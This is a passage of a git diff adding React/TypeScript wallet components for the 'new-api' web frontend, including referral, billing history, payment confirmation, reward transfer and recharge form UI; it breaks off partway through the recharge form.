+  return (
+    <Card className='overflow-hidden'>
+      <CardHeader className='border-b'>
+        <div className='flex items-center gap-3'>
+          <div className='bg-muted flex h-9 w-9 shrink-0 items-center justify-center rounded-lg'>
+            <Share2 className='h-4 w-4' />
+          </div>
+          <div className='min-w-0'>
+            <CardTitle className='text-xl tracking-tight'>
+              {t('Referral Program')}
+            </CardTitle>
+            <CardDescription>
+              {t('Share your link and earn rewards')}
+            </CardDescription>
+          </div>
+        </div>
+      </CardHeader>
+      <CardContent className='space-y-6 pt-6'>
+        {/* Statistics */}
+        <div className='grid grid-cols-1 gap-3 sm:grid-cols-3 xl:grid-cols-1'>
+          <div className='rounded-lg border p-3'>
+            <div className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+              {t('Pending')}
+            </div>
+            <div className='mt-2 text-2xl font-semibold break-all'>
+              {formatQuota(user?.aff_quota ?? 0)}
+            </div>
+          </div>
+
+          <div className='rounded-lg border p-3'>
+            <div className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+              {t('Total Earned')}
+            </div>
+            <div className='mt-2 text-2xl font-semibold break-all'>
+              {formatQuota(user?.aff_history_quota ?? 0)}
+            </div>
+          </div>
+
+          <div className='rounded-lg border p-3'>
+            <div className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+              {t('Invites')}
+            </div>
+            <div className='mt-2 text-2xl font-semibold'>
+              {user?.aff_count ?? 0}
+            </div>
+          </div>
+        </div>
+
+        {/* Transfer Button */}
+        {hasRewards && (
+          <Button onClick={onTransfer} className='w-full' variant='default'>
+            {t('Transfer to Balance')}
+          </Button>
+        )}
+
+        {/* Affiliate Link */}
+        <div className='space-y-3'>
+          <Label className='text-muted-foreground text-xs tracking-wider uppercase'>
+            {t('Your Referral Link')}
+          </Label>
+          <div className='flex gap-2'>
+            <Input
+              value={affiliateLink}
+              readOnly
+              className='border-muted bg-muted/30 font-mono text-sm'
+            />
+            <CopyButton
+              value={affiliateLink}
+              variant='outline'
+              className='size-9'
+              iconClassName='size-4'
+              tooltip={t('Copy referral link')}
+              aria-label={t('Copy referral link')}
+            />
+          </div>
+        </div>
+
+        {/* Info */}
+        <div className='bg-muted/30 space-y-2 rounded-lg p-4'>
+          <p className='text-muted-foreground text-sm leading-relaxed'>
+            {t(
+              'Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.'
+            )}
+          </p>
+        </div>
+      </CardContent>
+    </Card>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/creem-products-section.tsx b/new-api/web/default/src/features/wallet/components/creem-products-section.tsx
new file mode 100644
index 0000000..96f3498
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/creem-products-section.tsx
@@ -0,0 +1,56 @@
+import { useTranslation } from 'react-i18next'
+import { formatNumber } from '@/lib/format'
+import { Card, CardContent } from '@/components/ui/card'
+import { Skeleton } from '@/components/ui/skeleton'
+import { formatCreemPrice } from '../lib/format'
+import type { CreemProduct } from '../types'
+
+interface CreemProductsSectionProps {
+  products: CreemProduct[]
+  onProductSelect: (product: CreemProduct) => void
+  loading?: boolean
+}
+
+export function CreemProductsSection({
+  products,
+  onProductSelect,
+  loading,
+}: CreemProductsSectionProps) {
+  const { t } = useTranslation()
+
+  if (loading) {
+    return (
+      <div className='grid grid-cols-1 gap-3 sm:grid-cols-2 md:grid-cols-3'>
+        {Array.from({ length: 3 }).map((_, i) => (
+          <Skeleton key={i} className='h-24 rounded-lg' />
+        ))}
+      </div>
+    )
+  }
+
+  if (!Array.isArray(products) || products.length === 0) {
+    return null
+  }
+
+  return (
+    <div className='grid grid-cols-1 gap-3 sm:grid-cols-2 md:grid-cols-3'>
+      {products.map((product) => (
+        <Card
+          key={product.productId}
+          className='hover:border-foreground/50 cursor-pointer transition-all hover:shadow-md'
+          onClick={() => onProductSelect(product)}
+        >
+          <CardContent className='p-4 text-center'>
+            <div className='mb-2 text-lg font-medium'>{product.name}</div>
+            <div className='text-muted-foreground mb-2 text-sm'>
+              {t('Quota')}: {formatNumber(product.quota)}
+            </div>
+            <div className='text-lg font-semibold text-indigo-600'>
+              {formatCreemPrice(product.price, product.currency)}
+            </div>
+          </CardContent>
+        </Card>
+      ))}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/dialogs/billing-history-dialog.tsx b/new-api/web/default/src/features/wallet/components/dialogs/billing-history-dialog.tsx
new file mode 100644
index 0000000..c82123d
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/dialogs/billing-history-dialog.tsx
@@ -0,0 +1,322 @@
+import { useState } from 'react'
+import { Search, Copy, Check, ChevronLeft, ChevronRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatCurrencyFromUSD } from '@/lib/currency'
+import { formatNumber } from '@/lib/format'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { ScrollArea } from '@/components/ui/scroll-area'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Skeleton } from '@/components/ui/skeleton'
+import { StatusBadge } from '@/components/status-badge'
+import { useBillingHistory } from '../../hooks/use-billing-history'
+import {
+  getStatusConfig,
+  getPaymentMethodName,
+  formatTimestamp,
+} from '../../lib/billing'
+
+interface BillingHistoryDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function BillingHistoryDialog({
+  open,
+  onOpenChange,
+}: BillingHistoryDialogProps) {
+  const { t } = useTranslation()
+  const {
+    records,
+    total,
+    page,
+    pageSize,
+    keyword,
+    loading,
+    completing,
+    isAdmin,
+    handlePageChange,
+    handlePageSizeChange,
+    handleSearch,
+    handleCompleteOrder,
+  } = useBillingHistory()
+
+  const [confirmTradeNo, setConfirmTradeNo] = useState<string | null>(null)
+  const { copyToClipboard, copiedText } = useCopyToClipboard({ notify: false })
+
+  const totalPages = Math.ceil(total / pageSize)
+
+  const handleConfirmComplete = async () => {
+    if (confirmTradeNo) {
+      const success = await handleCompleteOrder(confirmTradeNo)
+      if (success) {
+        setConfirmTradeNo(null)
+      }
+    }
+  }
+
+  return (
+    <>
+      <Dialog open={open} onOpenChange={onOpenChange}>
+        <DialogContent className='max-w-4xl'>
+          <DialogHeader>
+            <DialogTitle>{t('Billing History')}</DialogTitle>
+            <DialogDescription>
+              {t('View your topup transaction records and payment history')}
+            </DialogDescription>
+          </DialogHeader>
+
+          <div className='space-y-4'>
+            {/* Search and Filter Bar */}
+            <div className='flex items-center gap-2'>
+              <div className='relative flex-1'>
+                <Search className='text-muted-foreground absolute top-1/2 left-3 h-4 w-4 -translate-y-1/2' />
+                <Input
+                  placeholder={t('Search by order number...')}
+                  value={keyword}
+                  onChange={(e) => handleSearch(e.target.value)}
+                  className='pl-10'
+                />
+              </div>
+              <Select
+                value={pageSize.toString()}
+                onValueChange={(value) => handlePageSizeChange(parseInt(value))}
+              >
+                <SelectTrigger className='w-32'>
+                  <SelectValue />
+                </SelectTrigger>
+                <SelectContent>
+                  <SelectItem value='10'>{t('10 / page')}</SelectItem>
+                  <SelectItem value='20'>{t('20 / page')}</SelectItem>
+                  <SelectItem value='50'>{t('50 / page')}</SelectItem>
+                  <SelectItem value='100'>{t('100 / page')}</SelectItem>
+                </SelectContent>
+              </Select>
+            </div>
+
+            {/* Records List */}
+            <ScrollArea className='h-[500px] pr-4'>
+              {loading ? (
+                <div className='space-y-3'>
+                  {Array.from({ length: 5 }).map((_, i) => (
+                    <div key={i} className='rounded-lg border p-4'>
+                      <div className='flex items-start justify-between'>
+                        <div className='flex-1 space-y-2'>
+                          <Skeleton className='h-4 w-48' />
+                          <Skeleton className='h-3 w-32' />
+                        </div>
+                        <Skeleton className='h-5 w-16' />
+                      </div>
+                      <div className='mt-3 grid grid-cols-3 gap-4'>
+                        <Skeleton className='h-3 w-full' />
+                        <Skeleton className='h-3 w-full' />
+                        <Skeleton className='h-3 w-full' />
+                      </div>
+                    </div>
+                  ))}
+                </div>
+              ) : records.length === 0 ? (
+                <div className='text-muted-foreground flex h-[400px] flex-col items-center justify-center text-center'>
+                  <p className='text-sm font-medium'>
+                    {t('No billing records found')}
+                  </p>
+                  <p className='mt-1 text-xs'>
+                    {keyword
+                      ? 'Try adjusting your search'
+                      : 'Your transaction history will appear here'}
+                  </p>
+                </div>
+              ) : (
+                <div className='space-y-3'>
+                  {records.map((record) => {
+                    const statusConfig = getStatusConfig(record.status)
+                    return (
+                      <div
+                        key={record.id}
+                        className='hover:bg-muted/50 rounded-lg border p-4 transition-colors'
+                      >
+                        {/* Header Row */}
+                        <div className='flex items-start justify-between'>
+                          <div className='flex-1 space-y-1'>
+                            <div className='flex items-center gap-2'>
+                              <code className='text-foreground font-mono text-sm'>
+                                {record.trade_no}
+                              </code>
+                              <Button
+                                variant='ghost'
+                                size='sm'
+                                className='h-5 w-5 p-0'
+                                onClick={() => copyToClipboard(record.trade_no)}
+                              >
+                                {copiedText === record.trade_no ? (
+                                  <Check className='h-3 w-3' />
+                                ) : (
+                                  <Copy className='h-3 w-3' />
+                                )}
+                              </Button>
+                              {isAdmin && record.user_id != null && (
+                                <StatusBadge
+                                  label={`${t('User ID')}: ${record.user_id}`}
+                                  variant='neutral'
+                                  size='sm'
+                                  copyText={String(record.user_id)}
+                                />
+                              )}
+                            </div>
+                            <div className='text-muted-foreground text-xs'>
+                              {formatTimestamp(record.create_time)}
+                            </div>
+                          </div>
+                          <StatusBadge
+                            label={statusConfig.label}
+                            variant={statusConfig.variant}
+                            showDot
+                            copyable={false}
+                          />
+                        </div>
+
+                        {/* Details Grid */}
+                        <div className='mt-4 grid grid-cols-3 gap-4'>
+                          <div className='space-y-1'>
+                            <Label className='text-muted-foreground text-xs'>
+                              Payment Method
+                            </Label>
+                            <div className='text-sm font-medium'>
+                              {getPaymentMethodName(record.payment_method)}
+                            </div>
+                          </div>
+                          <div className='space-y-1'>
+                            <Label className='text-muted-foreground text-xs'>
+                              Amount
+                            </Label>
+                            <div className='text-sm font-semibold'>
+                              {formatCurrencyFromUSD(record.amount, {
+                                digitsLarge: 2,
+                                digitsSmall: 2,
+                                abbreviate: false,
+                              })}
+                            </div>
+                          </div>
+                          <div className='space-y-1'>
+                            <Label className='text-muted-foreground text-xs'>
+                              Payment
+                            </Label>
+                            <div className='text-sm font-semibold text-red-600'>
+                              {formatNumber(record.money)}
+                            </div>
+                          </div>
+                        </div>
+
+                        {/* Admin Actions */}
+                        {isAdmin && record.status === 'pending' && (
+                          <div className='mt-4 flex justify-end'>
+                            <Button
+                              size='sm'
+                              variant='outline'
+                              onClick={() => setConfirmTradeNo(record.trade_no)}
+                              disabled={completing}
+                            >
+                              Complete Order
+                            </Button>
+                          </div>
+                        )}
+                      </div>
+                    )
+                  })}
+                </div>
+              )}
+            </ScrollArea>
+
+            {/* Pagination */}
+            {!loading && records.length > 0 && (
+              <div className='flex flex-col items-center gap-3 border-t pt-4 sm:flex-row sm:items-center sm:justify-between'>
+                <div className='text-muted-foreground text-xs sm:text-sm'>
+                  {t('Showing')} {(page - 1) * pageSize + 1}-
+                  {Math.min(page * pageSize, total)} {t('of')} {total}
+                </div>
+                <div className='flex items-center gap-2'>
+                  <Button
+                    variant='outline'
+                    size='sm'
+                    onClick={() => handlePageChange(page - 1)}
+                    disabled={page <= 1}
+                    className='h-8 w-8 p-0'
+                  >
+                    <ChevronLeft className='h-4 w-4' />
+                  </Button>
+                  <div className='text-muted-foreground flex items-center gap-1 text-sm'>
+                    <span className='font-medium'>{page}</span>
+                    <span>/</span>
+                    <span>{totalPages}</span>
+                  </div>
+                  <Button
+                    variant='outline'
+                    size='sm'
+                    onClick={() => handlePageChange(page + 1)}
+                    disabled={page >= totalPages}
+                    className='h-8 w-8 p-0'
+                  >
+                    <ChevronRight className='h-4 w-4' />
+                  </Button>
+                </div>
+              </div>
+            )}
+          </div>
+        </DialogContent>
+      </Dialog>
+
+      {/* Confirm Complete Order Dialog */}
+      <AlertDialog
+        open={!!confirmTradeNo}
+        onOpenChange={(open) => !open && setConfirmTradeNo(null)}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Complete Order')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {t(
+                'Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.'
+              )}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel disabled={completing}>
+              {t('Cancel')}
+            </AlertDialogCancel>
+            <AlertDialogAction
+              onClick={handleConfirmComplete}
+              disabled={completing}
+            >
+              {completing ? 'Processing...' : 'Confirm'}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/dialogs/creem-confirm-dialog.tsx b/new-api/web/default/src/features/wallet/components/dialogs/creem-confirm-dialog.tsx
new file mode 100644
index 0000000..9fc450b
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/dialogs/creem-confirm-dialog.tsx
@@ -0,0 +1,78 @@
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatNumber } from '@/lib/format'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { formatCreemPrice } from '../../lib/format'
+import type { CreemProduct } from '../../types'
+
+interface CreemConfirmDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onConfirm: () => void
+  product: CreemProduct | null
+  processing: boolean
+}
+
+export function CreemConfirmDialog({
+  open,
+  onOpenChange,
+  onConfirm,
+  product,
+  processing,
+}: CreemConfirmDialogProps) {
+  const { t } = useTranslation()
+
+  if (!product) return null
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[425px]'>
+        <DialogHeader>
+          <DialogTitle>{t('Confirm Creem Purchase')}</DialogTitle>
+          <DialogDescription>
+            {t('Review your purchase details before proceeding.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-4 py-4'>
+          <div className='flex items-center justify-between'>
+            <span className='text-muted-foreground'>{t('Product')}</span>
+            <span className='font-medium'>{product.name}</span>
+          </div>
+          <div className='flex items-center justify-between'>
+            <span className='text-muted-foreground'>{t('Price')}</span>
+            <span className='font-medium text-indigo-600'>
+              {formatCreemPrice(product.price, product.currency)}
+            </span>
+          </div>
+          <div className='flex items-center justify-between'>
+            <span className='text-muted-foreground'>{t('Quota')}</span>
+            <span className='font-medium'>{formatNumber(product.quota)}</span>
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button
+            variant='outline'
+            onClick={() => onOpenChange(false)}
+            disabled={processing}
+          >
+            {t('Cancel')}
+          </Button>
+          <Button onClick={onConfirm} disabled={processing}>
+            {processing && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {t('Confirm Payment')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/dialogs/payment-confirm-dialog.tsx b/new-api/web/default/src/features/wallet/components/dialogs/payment-confirm-dialog.tsx
new file mode 100644
index 0000000..0cd778b
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/dialogs/payment-confirm-dialog.tsx
@@ -0,0 +1,136 @@
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatLocalCurrencyAmount } from '@/lib/currency'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Skeleton } from '@/components/ui/skeleton'
+import { DEFAULT_DISCOUNT_RATE } from '../../constants'
+import { formatCurrency, getPaymentIcon } from '../../lib'
+import type { PaymentMethod } from '../../types'
+
+interface PaymentConfirmDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onConfirm: () => void
+  topupAmount: number
+  paymentAmount: number
+  paymentMethod: PaymentMethod | undefined
+  calculating: boolean
+  processing: boolean
+  discountRate?: number
+  usdExchangeRate?: number
+}
+
+export function PaymentConfirmDialog({
+  open,
+  onOpenChange,
+  onConfirm,
+  topupAmount,
+  paymentAmount,
+  paymentMethod,
+  calculating,
+  processing,
+  discountRate = DEFAULT_DISCOUNT_RATE,
+  usdExchangeRate = 1,
+}: PaymentConfirmDialogProps) {
+  const { t } = useTranslation()
+  const hasDiscount = discountRate > 0 && discountRate < 1 && paymentAmount > 0
+  const originalAmount = hasDiscount ? paymentAmount / discountRate : 0
+  const discountAmount = hasDiscount ? originalAmount - paymentAmount : 0
+
+  return (
+    <AlertDialog open={open} onOpenChange={onOpenChange}>
+      <AlertDialogContent className='max-w-md'>
+        <AlertDialogHeader>
+          <AlertDialogTitle className='text-xl font-semibold'>
+            {t('Confirm Payment')}
+          </AlertDialogTitle>
+          <AlertDialogDescription>
+            {t('Review your payment details')}
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+
+        <div className='space-y-4 py-4'>
+          <div className='flex items-center justify-between'>
+            <span className='text-muted-foreground text-sm'>
+              {t('Topup Amount')}
+            </span>
+            <span className='text-lg font-semibold'>
+              {formatLocalCurrencyAmount(topupAmount * usdExchangeRate, {
+                digitsLarge: 2,
+                digitsSmall: 2,
+                abbreviate: false,
+              })}
+            </span>
+          </div>
+
+          <div className='flex items-center justify-between'>
+            <span className='text-muted-foreground text-sm'>
+              {t('You Pay')}
+            </span>
+            {calculating ? (
+              <Skeleton className='h-6 w-24' />
+            ) : (
+              <div className='flex items-baseline gap-2'>
+                <span className='text-2xl font-semibold'>
+                  {formatCurrency(paymentAmount)}
+                </span>
+                {hasDiscount && (
+                  <span className='text-muted-foreground text-sm line-through'>
+                    {formatCurrency(originalAmount)}
+                  </span>
+                )}
+              </div>
+            )}
+          </div>
+
+          {hasDiscount && !calculating && (
+            <div className='bg-muted/50 rounded-lg p-3'>
+              <div className='flex items-center justify-between text-sm'>
+                <span className='text-muted-foreground'>{t('You save')}</span>
+                <span className='font-semibold text-green-600'>
+                  {formatCurrency(discountAmount)}
+                </span>
+              </div>
+            </div>
+          )}
+
+          <div className='border-t pt-4'>
+            <div className='flex items-center justify-between'>
+              <span className='text-muted-foreground text-sm'>
+                {t('Payment Method')}
+              </span>
+              <div className='flex items-center gap-2'>
+                {getPaymentIcon(
+                  paymentMethod?.type,
+                  'h-4 w-4',
+                  paymentMethod?.icon,
+                  paymentMethod?.name
+                )}
+                <span className='font-medium'>{paymentMethod?.name}</span>
+              </div>
+            </div>
+          </div>
+        </div>
+
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={processing}>
+            {t('Cancel')}
+          </AlertDialogCancel>
+          <AlertDialogAction onClick={onConfirm} disabled={processing}>
+            {processing && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {t('Confirm Payment')}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/dialogs/transfer-dialog.tsx b/new-api/web/default/src/features/wallet/components/dialogs/transfer-dialog.tsx
new file mode 100644
index 0000000..5c6ac48
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/dialogs/transfer-dialog.tsx
@@ -0,0 +1,111 @@
+import { useState, useEffect } from 'react'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatQuota } from '@/lib/format'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { QUOTA_PER_DOLLAR } from '../../constants'
+
+interface TransferDialogProps {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onConfirm: (amount: number) => Promise<boolean>
+  availableQuota: number
+  transferring: boolean
+}
+
+export function TransferDialog({
+  open,
+  onOpenChange,
+  onConfirm,
+  availableQuota,
+  transferring,
+}: TransferDialogProps) {
+  const { t } = useTranslation()
+  const [amount, setAmount] = useState(QUOTA_PER_DOLLAR)
+
+  useEffect(() => {
+    if (open) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setAmount(QUOTA_PER_DOLLAR)
+    }
+  }, [open])
+
+  const handleConfirm = async () => {
+    const success = await onConfirm(amount)
+    if (success) {
+      onOpenChange(false)
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='max-w-md'>
+        <DialogHeader>
+          <DialogTitle className='text-xl font-semibold'>
+            {t('Transfer Rewards')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Move affiliate rewards to your main balance')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className='space-y-6 py-4'>
+          <div className='space-y-2'>
+            <Label className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+              {t('Available Rewards')}
+            </Label>
+            <div className='text-2xl font-semibold'>
+              {formatQuota(availableQuota)}
+            </div>
+          </div>
+
+          <div className='space-y-3'>
+            <Label
+              htmlFor='transfer-amount'
+              className='text-muted-foreground text-xs font-medium tracking-wider uppercase'
+            >
+              {t('Transfer Amount')}
+            </Label>
+            <Input
+              id='transfer-amount'
+              type='number'
+              value={amount}
+              onChange={(e) => setAmount(Number(e.target.value))}
+              min={QUOTA_PER_DOLLAR}
+              max={availableQuota}
+              step={QUOTA_PER_DOLLAR}
+              className='font-mono text-lg'
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t('Minimum:')} {formatQuota(QUOTA_PER_DOLLAR)}
+            </p>
+          </div>
+        </div>
+
+        <DialogFooter>
+          <Button
+            variant='outline'
+            onClick={() => onOpenChange(false)}
+            disabled={transferring}
+          >
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleConfirm} disabled={transferring}>
+            {transferring && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+            {t('Transfer')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/components/recharge-form-card.tsx b/new-api/web/default/src/features/wallet/components/recharge-form-card.tsx
new file mode 100644
index 0000000..b3e6307
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/components/recharge-form-card.tsx
@@ -0,0 +1,494 @@
+import { useState, useEffect } from 'react'
+import { Gift, ExternalLink, Loader2, Receipt, WalletCards } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { formatNumber } from '@/lib/format'
+import { cn } from '@/lib/utils'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Skeleton } from '@/components/ui/skeleton'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import {
+  formatCurrency,
+  getDiscountLabel,
+  getPaymentIcon,
+  getMinTopupAmount,
+  calculatePresetPricing,
+} from '../lib'
+import type {
+  PaymentMethod,
+  PresetAmount,
+  TopupInfo,
+  CreemProduct,
+  WaffoPayMethod,
+} from '../types'
+import { CreemProductsSection } from './creem-products-section'
+
+interface RechargeFormCardProps {
+  topupInfo: TopupInfo | null
+  presetAmounts: PresetAmount[]
+  selectedPreset: number | null
+  onSelectPreset: (preset: PresetAmount) => void
+  topupAmount: number
+  onTopupAmountChange: (amount: number) => void
+  paymentAmount: number
+  calculating: boolean
+  onPaymentMethodSelect: (method: PaymentMethod) => void
+  paymentLoading: string | null
+  redemptionCode: string
+  onRedemptionCodeChange: (code: string) => void
+  onRedeem: () => void
+  redeeming: boolean
+  topupLink?: string
+  loading?: boolean
+  priceRatio?: number
+  usdExchangeRate?: number
+  onOpenBilling?: () => void
+  creemProducts?: CreemProduct[]
+  enableCreemTopup?: boolean
+  onCreemProductSelect?: (product: CreemProduct) => void
+  enableWaffoTopup?: boolean
+  waffoPayMethods?: WaffoPayMethod[]
+  waffoMinTopup?: number
+  onWaffoMethodSelect?: (method: WaffoPayMethod, index: number) => void
+  enableWaffoPancakeTopup?: boolean
+}
+
+export function RechargeFormCard({
+  topupInfo,
+  presetAmounts,
+  selectedPreset,
+  onSelectPreset,
+  topupAmount,
+  onTopupAmountChange,
+  paymentAmount,
+  calculating,
+  onPaymentMethodSelect,
+  paymentLoading,
+  redemptionCode,
+  onRedemptionCodeChange,
+  onRedeem,
+  redeeming,
+  topupLink,
+  loading,
+  priceRatio = 1,
+  usdExchangeRate = 1,
+  onOpenBilling,
+  creemProducts,
+  enableCreemTopup,
+  onCreemProductSelect,
+  enableWaffoTopup,
+  waffoPayMethods,
+  waffoMinTopup,
+  onWaffoMethodSelect,
+  enableWaffoPancakeTopup,
+}: RechargeFormCardProps) {
+  const { t } = useTranslation()
+  const [localAmount, setLocalAmount] = useState(topupAmount.toString())
+
+  useEffect(() => {
+    setLocalAmount(topupAmount.toString())
+  }, [topupAmount])
+
+  const handleAmountChange = (value: string) => {
+    setLocalAmount(value)
+    const numValue = parseInt(value) || 0
+    if (numValue >= 0) {
+      onTopupAmountChange(numValue)
+    }
+  }
+
+  const hasConfigurableTopup =
+    topupInfo?.enable_online_topup ||
+    topupInfo?.enable_stripe_topup ||
+    enableWaffoTopup ||
+    enableWaffoPancakeTopup
+  const hasAnyTopup = hasConfigurableTopup || enableCreemTopup
+  const hasStandardPaymentMethods =
+    Array.isArray(topupInfo?.pay_methods) && topupInfo.pay_methods.length > 0
+  const hasWaffoPaymentMethods =
+    Array.isArray(waffoPayMethods) && waffoPayMethods.length > 0
+  const minTopup = getMinTopupAmount(topupInfo)
+
+  if (loading) {
+    return (
+      <Card className='overflow-hidden'>
+        <CardHeader className='border-b'>
+          <Skeleton className='h-6 w-32' />
+          <Skeleton className='mt-2 h-4 w-48' />
+        </CardHeader>
+        <CardContent className='space-y-6 pt-6'>
+          <div className='space-y-6'>
+            {/* Preset Amounts Skeleton */}
+            <div className='space-y-3'>
+              <Skeleton className='h-3 w-16' />
+              <div className='grid grid-cols-2 gap-3 sm:grid-cols-4'>
+                {Array.from({ length: 8 }).map((_, i) => (
+                  <Skeleton key={i} className='h-[72px] rounded-lg' />
+                ))}
+              </div>
+            </div>
+
+            {/* Custom Amount Input Skeleton */}
+            <div className='space-y-3'>
+              <Skeleton className='h-3 w-28' />
+              <Skeleton className='h-[42px] w-full' />
+            </div>
+
+            {/* Payment Methods Skeleton */}
+            <div className='space-y-3'>
+              <Skeleton className='h-3 w-32' />
+              <div className='flex flex-wrap gap-3'>
+                {Array.from({ length: 3 }).map((_, i) => (
+                  <Skeleton key={i} className='h-10 w-24 rounded-lg' />
+                ))}
+              </div>
+            </div>
+          </div>
+
+          {/* Redemption Code Section Skeleton */}
+          <div className='space-y-3 border-t pt-8'>
+            <Skeleton className='h-3 w-24' />
+            <div className='flex gap-2'>
+              <Skeleton className='h-10 flex-1' />
+              <Skeleton className='h-10 w-20' />
+            </div>
+          </div>
+        </CardContent>
+      </Card>
+    )
+  }
+
+  return (
+    <Card className='overflow-hidden'>
+      <CardHeader className='border-b'>
+        <div className='flex flex-col gap-3 sm:flex-row sm:items-start sm:justify-between'>
+          <div className='flex min-w-0 items-center gap-3'>
+            <div className='bg-muted flex h-9 w-9 shrink-0 items-center justify-center rounded-lg'>
+              <WalletCards className='h-4 w-4' />
+            </div>
+            <div className='min-w-0'>
+              <CardTitle className='text-xl tracking-tight'>
+                {t('Add Funds')}
+              </CardTitle>
+              <CardDescription>
+                {t('Choose an amount and payment method')}
+              </CardDescription>
+            </div>
+          </div>
+          {onOpenBilling && (
+            <Button
+              variant='outline'
+              size='sm'
+              onClick={onOpenBilling}
+              className='w-full gap-2 sm:w-auto'
+            >
+              <Receipt className='h-4 w-4' />
+              {t('Order History')}
+            </Button>
+          )}
+        </div>
+      </CardHeader>
+      <CardContent className='space-y-6 pt-6'>
+        {/* Online Topup Section */}
+        {hasAnyTopup ? (
+          <div className='space-y-6'>
+            {hasConfigurableTopup && (
+              <>
+                {presetAmounts.length > 0 && (
+                  <div className='space-y-3'>
+                    <Label className='text-muted-foreground text-xs font-medium tracking-wider uppercase'>
+                      {t('Amount')}
+                    </Label>
+                    <div className='grid grid-cols-2 gap-3 md:grid-cols-4'>
+                      {presetAmounts.map((preset, index) => {
+                        const discount =
+                          preset.discount ||
+                          topupInfo?.discount?.[preset.value] ||
+                          1.0
+                        const {
+                          displayValue,
+                          actualPrice,
+                          savedAmount,
+                          hasDiscount,
+                        } = calculatePresetPricing(
+                          preset.value,
+                          priceRatio,
+                          discount,
+                          usdExchangeRate
+                        )
+                        return (
+                          <Button
+                            key={index}
+                            variant='outline'
+                            className={cn(
+                              'hover:border-foreground flex h-auto flex-col items-start rounded-lg p-4 text-left whitespace-normal',
+                              selectedPreset === preset.value
+                                ? 'border-foreground bg-foreground/5'
+                                : 'border-muted'
+                            )}
